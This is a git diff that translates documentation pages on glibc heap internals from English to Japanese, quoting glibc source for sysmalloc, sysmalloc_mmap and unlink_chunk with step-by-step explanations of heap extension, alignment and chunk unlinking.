(mm != MAP_FAILED) +return mm; +tried_mmap = true; +} - /* There are no usable arenas and mmap also failed. */ - if (av == NULL) - return 0; +/* There are no usable arenas and mmap also failed. */ +if (av == NULL) +return 0; ``` -
-### sysmalloc checks +### sysmalloc チェック -It starts by getting old top chunk information and checking that some of the following condations are true: +最初に古いトップチャンクの情報を取得し、以下の条件のいくつかが真であることを確認します: -- The old heap size is 0 (new heap) -- The size of the previous heap is greater and MINSIZE and the old Top is in use -- The heap is aligned to page size (0x1000 so the lower 12 bits need to be 0) +- 古いヒープサイズが 0 である(新しいヒープ) +- 前のヒープのサイズが MINSIZE より大きく、古いトップが使用中である +- ヒープがページサイズに整列している(0x1000 なので、下位 12 ビットは 0 である必要があります) -Then it also checks that: +次に、以下も確認します: -- The old size hasn't enough space to create a chunk for the requested size +- 古いサイズに要求されたサイズのチャンクを作成するのに十分なスペースがないこと
-sysmalloc checks - +sysmalloc チェック ```c /* Record incoming configuration of top */ - old_top = av->top; - old_size = chunksize (old_top); - old_end = (char *) (chunk_at_offset (old_top, old_size)); +old_top = av->top; +old_size = chunksize (old_top); +old_end = (char *) (chunk_at_offset (old_top, old_size)); - brk = snd_brk = (char *) (MORECORE_FAILURE); +brk = snd_brk = (char *) (MORECORE_FAILURE); - /* - If not the first time through, we require old_size to be - at least MINSIZE and to have prev_inuse set. - */ +/* +If not the first time through, we require old_size to be +at least MINSIZE and to have prev_inuse set. +*/ - assert ((old_top == initial_top (av) && old_size == 0) || - ((unsigned long) (old_size) >= MINSIZE && - prev_inuse (old_top) && - ((unsigned long) old_end & (pagesize - 1)) == 0)); +assert ((old_top == initial_top (av) && old_size == 0) || +((unsigned long) (old_size) >= MINSIZE && +prev_inuse (old_top) && +((unsigned long) old_end & (pagesize - 1)) == 0)); - /* Precondition: not enough current space to satisfy nb request */ - assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); +/* Precondition: not enough current space to satisfy nb request */ +assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); ``` -
-### sysmalloc not main arena +### sysmallocはメインアリーナではない -It'll first try to **extend** the previous heap for this heap. If not possible try to **allocate a new heap** and update the pointers to be able to use it.\ -Finally if that didn't work, try calling **`sysmalloc_mmap`**. +最初に、このヒープのために前のヒープを**拡張**しようとします。もし不可能であれば、**新しいヒープを割り当て**て、使用できるようにポインタを更新しようとします。\ +最後に、それがうまくいかなかった場合は、**`sysmalloc_mmap`**を呼び出そうとします。
-sysmalloc not main arena - +sysmallocはメインアリーナではない ```c if (av != &main_arena) - { - heap_info *old_heap, *heap; - size_t old_heap_size; +{ +heap_info *old_heap, *heap; +size_t old_heap_size; - /* First try to extend the current heap. */ - old_heap = heap_for_ptr (old_top); - old_heap_size = old_heap->size; - if ((long) (MINSIZE + nb - old_size) > 0 - && grow_heap (old_heap, MINSIZE + nb - old_size) == 0) - { - av->system_mem += old_heap->size - old_heap_size; - set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) - | PREV_INUSE); - } - else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) - { - /* Use a newly allocated heap. */ - heap->ar_ptr = av; - heap->prev = old_heap; - av->system_mem += heap->size; - /* Set up the new top. */ - top (av) = chunk_at_offset (heap, sizeof (*heap)); - set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); +/* First try to extend the current heap. */ +old_heap = heap_for_ptr (old_top); +old_heap_size = old_heap->size; +if ((long) (MINSIZE + nb - old_size) > 0 +&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0) +{ +av->system_mem += old_heap->size - old_heap_size; +set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top) +| PREV_INUSE); +} +else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad))) +{ +/* Use a newly allocated heap. */ +heap->ar_ptr = av; +heap->prev = old_heap; +av->system_mem += heap->size; +/* Set up the new top. */ +top (av) = chunk_at_offset (heap, sizeof (*heap)); +set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE); - /* Setup fencepost and free the old top chunk with a multiple of - MALLOC_ALIGNMENT in size. */ - /* The fencepost takes at least MINSIZE bytes, because it might - become the top chunk again later. Note that a footer is set - up, too, although the chunk is marked in use. */ - old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; - set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), - 0 | PREV_INUSE); - if (old_size >= MINSIZE) - { - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); - set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); - _int_free (av, old_top, 1); - } - else - { - set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); - set_foot (old_top, (old_size + CHUNK_HDR_SZ)); - } - } - else if (!tried_mmap) - { - /* We can at least try to use to mmap memory. If new_heap fails - it is unlikely that trying to allocate huge pages will - succeed. */ - char *mm = sysmalloc_mmap (nb, pagesize, 0, av); - if (mm != MAP_FAILED) - return mm; - } - } +/* Setup fencepost and free the old top chunk with a multiple of +MALLOC_ALIGNMENT in size. */ +/* The fencepost takes at least MINSIZE bytes, because it might +become the top chunk again later. Note that a footer is set +up, too, although the chunk is marked in use. */ +old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK; +set_head (chunk_at_offset (old_top, old_size + CHUNK_HDR_SZ), +0 | PREV_INUSE); +if (old_size >= MINSIZE) +{ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_foot (chunk_at_offset (old_top, old_size), CHUNK_HDR_SZ); +set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); +_int_free (av, old_top, 1); +} +else +{ +set_head (old_top, (old_size + CHUNK_HDR_SZ) | PREV_INUSE); +set_foot (old_top, (old_size + CHUNK_HDR_SZ)); +} +} +else if (!tried_mmap) +{ +/* We can at least try to use to mmap memory. If new_heap fails +it is unlikely that trying to allocate huge pages will +succeed. */ +char *mm = sysmalloc_mmap (nb, pagesize, 0, av); +if (mm != MAP_FAILED) +return mm; +} +} ``` -
-### sysmalloc main arena +### sysmalloc メインアリーナ -It starts calculating the amount of memory needed. It'll start by requesting contiguous memory so in this case it'll be possible to use the old memory not used. Also some align operations are performed. +必要なメモリの量を計算し始めます。最初に連続したメモリを要求するため、この場合は未使用の古いメモリを使用することが可能です。また、いくつかのアライン操作が実行されます。
-sysmalloc main arena - +sysmalloc メインアリーナ ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2665C1-L2713C10 - else /* av == main_arena */ +else /* av == main_arena */ - { /* Request enough space for nb + pad + overhead */ - size = nb + mp_.top_pad + MINSIZE; +{ /* Request enough space for nb + pad + overhead */ +size = nb + mp_.top_pad + MINSIZE; - /* - If contiguous, we can subtract out existing space that we hope to - combine with new space. We add it back later only if - we don't actually get contiguous space. - */ +/* +If contiguous, we can subtract out existing space that we hope to +combine with new space. We add it back later only if +we don't actually get contiguous space. +*/ - if (contiguous (av)) - size -= old_size; +if (contiguous (av)) +size -= old_size; - /* - Round to a multiple of page size or huge page size. - If MORECORE is not contiguous, this ensures that we only call it - with whole-page arguments. And if MORECORE is contiguous and - this is not first time through, this preserves page-alignment of - previous calls. Otherwise, we correct to page-align below. - */ +/* +Round to a multiple of page size or huge page size. +If MORECORE is not contiguous, this ensures that we only call it +with whole-page arguments. And if MORECORE is contiguous and +this is not first time through, this preserves page-alignment of +previous calls. Otherwise, we correct to page-align below. +*/ #ifdef MADV_HUGEPAGE - /* Defined in brk.c. */ - extern void *__curbrk; - if (__glibc_unlikely (mp_.thp_pagesize != 0)) - { - uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, - mp_.thp_pagesize); - size = top - (uintptr_t) __curbrk; - } - else +/* Defined in brk.c. */ +extern void *__curbrk; +if (__glibc_unlikely (mp_.thp_pagesize != 0)) +{ +uintptr_t top = ALIGN_UP ((uintptr_t) __curbrk + size, +mp_.thp_pagesize); +size = top - (uintptr_t) __curbrk; +} +else #endif - size = ALIGN_UP (size, GLRO(dl_pagesize)); +size = ALIGN_UP (size, GLRO(dl_pagesize)); - /* - Don't try to call MORECORE if argument is so big as to appear - negative. Note that since mmap takes size_t arg, it may succeed - below even if we cannot call MORECORE. - */ +/* +Don't try to call MORECORE if argument is so big as to appear +negative. Note that since mmap takes size_t arg, it may succeed +below even if we cannot call MORECORE. +*/ - if (size > 0) - { - brk = (char *) (MORECORE (size)); - if (brk != (char *) (MORECORE_FAILURE)) - madvise_thp (brk, size); - LIBC_PROBE (memory_sbrk_more, 2, brk, size); - } +if (size > 0) +{ +brk = (char *) (MORECORE (size)); +if (brk != (char *) (MORECORE_FAILURE)) +madvise_thp (brk, size); +LIBC_PROBE (memory_sbrk_more, 2, brk, size); +} ``` -
-### sysmalloc main arena previous error 1 +### sysmalloc メインアリーナの前のエラー 1 -If the previous returned `MORECORE_FAILURE`, try agin to allocate memory using `sysmalloc_mmap_fallback` +前回 `MORECORE_FAILURE` が返された場合は、`sysmalloc_mmap_fallback` を使用してメモリを再度割り当ててみてください。
-sysmalloc main arena previous error 1 - +sysmalloc メインアリーナの前のエラー 1 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2715C7-L2740C10 if (brk == (char *) (MORECORE_FAILURE)) - { - /* - If have mmap, try using it as a backup when MORECORE fails or - cannot be used. This is worth doing on systems that have "holes" in - address space, so sbrk cannot extend to give contiguous space, but - space is available elsewhere. Note that we ignore mmap max count - and threshold limits, since the space will not be used as a - segregated mmap region. - */ +{ +/* +If have mmap, try using it as a backup when MORECORE fails or +cannot be used. This is worth doing on systems that have "holes" in +address space, so sbrk cannot extend to give contiguous space, but +space is available elsewhere. Note that we ignore mmap max count +and threshold limits, since the space will not be used as a +segregated mmap region. +*/ - char *mbrk = MAP_FAILED; - if (mp_.hp_pagesize > 0) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, - mp_.hp_pagesize, mp_.hp_pagesize, - mp_.hp_flags, av); - if (mbrk == MAP_FAILED) - mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, - pagesize, 0, av); - if (mbrk != MAP_FAILED) - { - /* We do not need, and cannot use, another sbrk call to find end */ - brk = mbrk; - snd_brk = brk + size; - } - } +char *mbrk = MAP_FAILED; +if (mp_.hp_pagesize > 0) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, +mp_.hp_pagesize, mp_.hp_pagesize, +mp_.hp_flags, av); +if (mbrk == MAP_FAILED) +mbrk = sysmalloc_mmap_fallback (&size, nb, old_size, MMAP_AS_MORECORE_SIZE, +pagesize, 0, av); +if (mbrk != MAP_FAILED) +{ +/* We do not need, and cannot use, another sbrk call to find end */ +brk = mbrk; +snd_brk = brk + size; +} +} ``` -
-### sysmalloc main arena continue +### sysmalloc メインアリーナの続き -If the previous didn't return `MORECORE_FAILURE`, if it worked create some alignments: +前回が `MORECORE_FAILURE` を返さなかった場合、動作した場合はいくつかのアラインメントを作成します:
-sysmalloc main arena previous error 2 - +sysmalloc メインアリーナ 前のエラー 2 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2742 if (brk != (char *) (MORECORE_FAILURE)) - { - if (mp_.sbrk_base == 0) - mp_.sbrk_base = brk; - av->system_mem += size; +{ +if (mp_.sbrk_base == 0) +mp_.sbrk_base = brk; +av->system_mem += size; - /* - If MORECORE extends previous space, we can likewise extend top size. - */ +/* +If MORECORE extends previous space, we can likewise extend top size. +*/ - if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) - set_head (old_top, (size + old_size) | PREV_INUSE); +if (brk == old_end && snd_brk == (char *) (MORECORE_FAILURE)) +set_head (old_top, (size + old_size) | PREV_INUSE); - else if (contiguous (av) && old_size && brk < old_end) - /* Oops! Someone else killed our space.. Can't touch anything. */ - malloc_printerr ("break adjusted to free malloc space"); +else if (contiguous (av) && old_size && brk < old_end) +/* Oops! Someone else killed our space.. Can't touch anything. */ +malloc_printerr ("break adjusted to free malloc space"); - /* - Otherwise, make adjustments: +/* +Otherwise, make adjustments: - * If the first time through or noncontiguous, we need to call sbrk - just to find out where the end of memory lies. +* If the first time through or noncontiguous, we need to call sbrk +just to find out where the end of memory lies. - * We need to ensure that all returned chunks from malloc will meet - MALLOC_ALIGNMENT +* We need to ensure that all returned chunks from malloc will meet +MALLOC_ALIGNMENT - * If there was an intervening foreign sbrk, we need to adjust sbrk - request size to account for fact that we will not be able to - combine new space with existing space in old_top. +* If there was an intervening foreign sbrk, we need to adjust sbrk +request size to account for fact that we will not be able to +combine new space with existing space in old_top. - * Almost all systems internally allocate whole pages at a time, in - which case we might as well use the whole last page of request. - So we allocate enough more memory to hit a page boundary now, - which in turn causes future contiguous calls to page-align. - */ +* Almost all systems internally allocate whole pages at a time, in +which case we might as well use the whole last page of request. +So we allocate enough more memory to hit a page boundary now, +which in turn causes future contiguous calls to page-align. +*/ - else - { - front_misalign = 0; - end_misalign = 0; - correction = 0; - aligned_brk = brk; +else +{ +front_misalign = 0; +end_misalign = 0; +correction = 0; +aligned_brk = brk; - /* handle contiguous cases */ - if (contiguous (av)) - { - /* Count foreign sbrk as system_mem. */ - if (old_size) - av->system_mem += brk - old_end; +/* handle contiguous cases */ +if (contiguous (av)) +{ +/* Count foreign sbrk as system_mem. */ +if (old_size) +av->system_mem += brk - old_end; - /* Guarantee alignment of first new chunk made from this space */ +/* Guarantee alignment of first new chunk made from this space */ - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - correction = MALLOC_ALIGNMENT - front_misalign; - aligned_brk += correction; - } +correction = MALLOC_ALIGNMENT - front_misalign; +aligned_brk += correction; +} - /* - If this isn't adjacent to existing space, then we will not - be able to merge with old_top space, so must add to 2nd request. - */ +/* +If this isn't adjacent to existing space, then we will not +be able to merge with old_top space, so must add to 2nd request. +*/ - correction += old_size; +correction += old_size; - /* Extend the end address to hit a page boundary */ - end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); - correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; +/* Extend the end address to hit a page boundary */ +end_misalign = (INTERNAL_SIZE_T) (brk + size + correction); +correction += (ALIGN_UP (end_misalign, pagesize)) - end_misalign; - assert (correction >= 0); - snd_brk = (char *) (MORECORE (correction)); +assert (correction >= 0); +snd_brk = (char *) (MORECORE (correction)); - /* - If can't allocate correction, try to at least find out current - brk. It might be enough to proceed without failing. +/* +If can't allocate correction, try to at least find out current +brk. It might be enough to proceed without failing. - Note that if second sbrk did NOT fail, we assume that space - is contiguous with first sbrk. This is a safe assumption unless - program is multithreaded but doesn't use locks and a foreign sbrk - occurred between our first and second calls. - */ +Note that if second sbrk did NOT fail, we assume that space +is contiguous with first sbrk. This is a safe assumption unless +program is multithreaded but doesn't use locks and a foreign sbrk +occurred between our first and second calls. +*/ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - correction = 0; - snd_brk = (char *) (MORECORE (0)); - } - else - madvise_thp (snd_brk, correction); - } +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +correction = 0; +snd_brk = (char *) (MORECORE (0)); +} +else +madvise_thp (snd_brk, correction); +} - /* handle non-contiguous cases */ - else - { - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - /* MORECORE/mmap must correctly align */ - assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); - else - { - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +/* handle non-contiguous cases */ +else +{ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +/* MORECORE/mmap must correctly align */ +assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); +else +{ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - aligned_brk += MALLOC_ALIGNMENT - front_misalign; - } - } +aligned_brk += MALLOC_ALIGNMENT - front_misalign; +} +} - /* Find out current end of memory */ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - snd_brk = (char *) (MORECORE (0)); - } - } +/* Find out current end of memory */ +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +snd_brk = (char *) (MORECORE (0)); +} +} - /* Adjust top based on results of second sbrk */ - if (snd_brk != (char *) (MORECORE_FAILURE)) - { - av->top = (mchunkptr) aligned_brk; - set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); - av->system_mem += correction; +/* Adjust top based on results of second sbrk */ +if (snd_brk != (char *) (MORECORE_FAILURE)) +{ +av->top = (mchunkptr) aligned_brk; +set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); +av->system_mem += correction; - /* - If not the first time through, we either have a - gap due to foreign sbrk or a non-contiguous region. Insert a - double fencepost at old_top to prevent consolidation with space - we don't own. These fenceposts are artificial chunks that are - marked as inuse and are in any case too small to use. We need - two to make sizes and alignments work out. - */ +/* +If not the first time through, we either have a +gap due to foreign sbrk or a non-contiguous region. Insert a +double fencepost at old_top to prevent consolidation with space +we don't own. These fenceposts are artificial chunks that are +marked as inuse and are in any case too small to use. We need +two to make sizes and alignments work out. +*/ - if (old_size != 0) - { - /* - Shrink old_top to insert fenceposts, keeping size a - multiple of MALLOC_ALIGNMENT. We know there is at least - enough space in old_top to do this. - */ - old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; - set_head (old_top, old_size | PREV_INUSE); +if (old_size != 0) +{ +/* +Shrink old_top to insert fenceposts, keeping size a +multiple of MALLOC_ALIGNMENT. We know there is at least +enough space in old_top to do this. +*/ +old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; +set_head (old_top, old_size | PREV_INUSE); - /* - Note that the following assignments completely overwrite - old_top when old_size was previously MINSIZE. This is - intentional. We need the fencepost, even if old_top otherwise gets - lost. - */ - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_head (chunk_at_offset (old_top, - old_size + CHUNK_HDR_SZ), - CHUNK_HDR_SZ | PREV_INUSE); +/* +Note that the following assignments completely overwrite +old_top when old_size was previously MINSIZE. This is +intentional. We need the fencepost, even if old_top otherwise gets +lost. +*/ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_head (chunk_at_offset (old_top, +old_size + CHUNK_HDR_SZ), +CHUNK_HDR_SZ | PREV_INUSE); - /* If possible, release the rest. */ - if (old_size >= MINSIZE) - { - _int_free (av, old_top, 1); - } - } - } - } - } - } /* if (av != &main_arena) */ +/* If possible, release the rest. */ +if (old_size >= MINSIZE) +{ +_int_free (av, old_top, 1); +} +} +} +} +} +} /* if (av != &main_arena) */ ``` -
### sysmalloc finale -Finish the allocation updating the arena information - +アリーナ情報を更新して割り当てを完了します。 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem)) - av->max_system_mem = av->system_mem; - check_malloc_state (av); +av->max_system_mem = av->system_mem; +check_malloc_state (av); - /* finally, do the allocation */ - p = av->top; - size = chunksize (p); +/* finally, do the allocation */ +p = av->top; +size = chunksize (p); - /* check that one of the above allocation paths succeeded */ - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (p, nb); - av->top = remainder; - set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, p, nb); - return chunk2mem (p); - } +/* check that one of the above allocation paths succeeded */ +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (p, nb); +av->top = remainder; +set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +check_malloced_chunk (av, p, nb); +return chunk2mem (p); +} - /* catch all failure paths */ - __set_errno (ENOMEM); - return 0; +/* catch all failure paths */ +__set_errno (ENOMEM); +return 0; ``` - ## sysmalloc_mmap
-sysmalloc_mmap code - +sysmalloc_mmap コード ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2 static void * sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av) { - long int size; +long int size; - /* - Round up size to nearest page. For mmapped chunks, the overhead is one - SIZE_SZ unit larger than for normal chunks, because there is no - following chunk whose prev_size field could be used. +/* +Round up size to nearest page. For mmapped chunks, the overhead is one +SIZE_SZ unit larger than for normal chunks, because there is no +following chunk whose prev_size field could be used. - See the front_misalign handling below, for glibc there is no need for - further alignments unless we have have high alignment. - */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - size = ALIGN_UP (nb + SIZE_SZ, pagesize); - else - size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); +See the front_misalign handling below, for glibc there is no need for +further alignments unless we have have high alignment. +*/ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +size = ALIGN_UP (nb + SIZE_SZ, pagesize); +else +size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); - /* Don't try if size wraps around 0. */ - if ((unsigned long) (size) <= (unsigned long) (nb)) - return MAP_FAILED; +/* Don't try if size wraps around 0. */ +if ((unsigned long) (size) <= (unsigned long) (nb)) +return MAP_FAILED; - char *mm = (char *) MMAP (0, size, - mtag_mmap_flags | PROT_READ | PROT_WRITE, - extra_flags); - if (mm == MAP_FAILED) - return mm; +char *mm = (char *) MMAP (0, size, +mtag_mmap_flags | PROT_READ | PROT_WRITE, +extra_flags); +if (mm == MAP_FAILED) +return mm; #ifdef MAP_HUGETLB - if (!(extra_flags & MAP_HUGETLB)) - madvise_thp (mm, size); +if (!(extra_flags & MAP_HUGETLB)) +madvise_thp (mm, size); #endif - __set_vma_name (mm, size, " glibc: malloc"); +__set_vma_name (mm, size, " glibc: malloc"); - /* - The offset to the start of the mmapped region is stored in the prev_size - field of the chunk. This allows us to adjust returned start address to - meet alignment requirements here and in memalign(), and still be able to - compute proper address argument for later munmap in free() and realloc(). - */ +/* +The offset to the start of the mmapped region is stored in the prev_size +field of the chunk. This allows us to adjust returned start address to +meet alignment requirements here and in memalign(), and still be able to +compute proper address argument for later munmap in free() and realloc(). +*/ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - { - /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and - MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page - aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ - assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); - front_misalign = 0; - } - else - front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +{ +/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and +MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page +aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ +assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); +front_misalign = 0; +} +else +front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; - mchunkptr p; /* the allocated/returned chunk */ +mchunkptr p; /* the allocated/returned chunk */ - if (front_misalign > 0) - { - ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; - p = (mchunkptr) (mm + correction); - set_prev_size (p, correction); - set_head (p, (size - correction) | IS_MMAPPED); - } - else - { - p = (mchunkptr) mm; - set_prev_size (p, 0); - set_head (p, size | IS_MMAPPED); - } +if (front_misalign > 0) +{ +ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; +p = (mchunkptr) (mm + correction); +set_prev_size (p, correction); +set_head (p, (size - correction) | IS_MMAPPED); +} +else +{ +p = (mchunkptr) mm; +set_prev_size (p, 0); +set_head (p, size | IS_MMAPPED); +} - /* update statistics */ - int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; - atomic_max (&mp_.max_n_mmaps, new); +/* update statistics */ +int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; +atomic_max (&mp_.max_n_mmaps, new); - unsigned long sum; - sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; - atomic_max (&mp_.max_mmapped_mem, sum); +unsigned long sum; +sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; +atomic_max (&mp_.max_mmapped_mem, sum); - check_chunk (av, p); +check_chunk (av, p); - return chunk2mem (p); +return chunk2mem (p); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index 7d26f6546..5ee2762c3 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -2,8 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Code - +### コード ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -11,73 +10,72 @@ static void unlink_chunk (mstate av, mchunkptr p) { - if (chunksize (p) != prev_size (next_chunk (p))) - malloc_printerr ("corrupted size vs. prev_size"); +if (chunksize (p) != prev_size (next_chunk (p))) +malloc_printerr ("corrupted size vs. prev_size"); - mchunkptr fd = p->fd; - mchunkptr bk = p->bk; +mchunkptr fd = p->fd; +mchunkptr bk = p->bk; - if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) - malloc_printerr ("corrupted double-linked list"); +if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) +malloc_printerr ("corrupted double-linked list"); - fd->bk = bk; - bk->fd = fd; - if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) - { - if (p->fd_nextsize->bk_nextsize != p - || p->bk_nextsize->fd_nextsize != p) - malloc_printerr ("corrupted double-linked list (not small)"); +fd->bk = bk; +bk->fd = fd; +if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) +{ +if (p->fd_nextsize->bk_nextsize != p +|| p->bk_nextsize->fd_nextsize != p) +malloc_printerr ("corrupted double-linked list (not small)"); - // Added: If the FD is not in the nextsize list - if (fd->fd_nextsize == NULL) - { +// Added: If the FD is not in the nextsize list +if (fd->fd_nextsize == NULL) +{ - if (p->fd_nextsize == p) - fd->fd_nextsize = fd->bk_nextsize = fd; - else - // Link the nexsize list in when removing the new chunk - { - fd->fd_nextsize = p->fd_nextsize; - fd->bk_nextsize = p->bk_nextsize; - p->fd_nextsize->bk_nextsize = fd; - p->bk_nextsize->fd_nextsize = fd; - } - } - else - { - p->fd_nextsize->bk_nextsize = p->bk_nextsize; - p->bk_nextsize->fd_nextsize = p->fd_nextsize; - } - } +if (p->fd_nextsize == p) +fd->fd_nextsize = fd->bk_nextsize = fd; +else +// Link the nexsize list in when removing the new chunk +{ +fd->fd_nextsize = p->fd_nextsize; +fd->bk_nextsize = p->bk_nextsize; +p->fd_nextsize->bk_nextsize = fd; +p->bk_nextsize->fd_nextsize = fd; +} +} +else +{ +p->fd_nextsize->bk_nextsize = p->bk_nextsize; +p->bk_nextsize->fd_nextsize = p->fd_nextsize; +} +} } ``` +### グラフィカルな説明 -### Graphical Explanation - -Check this great graphical explanation of the unlink process: +unlinkプロセスの素晴らしいグラフィカルな説明を確認してください:

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

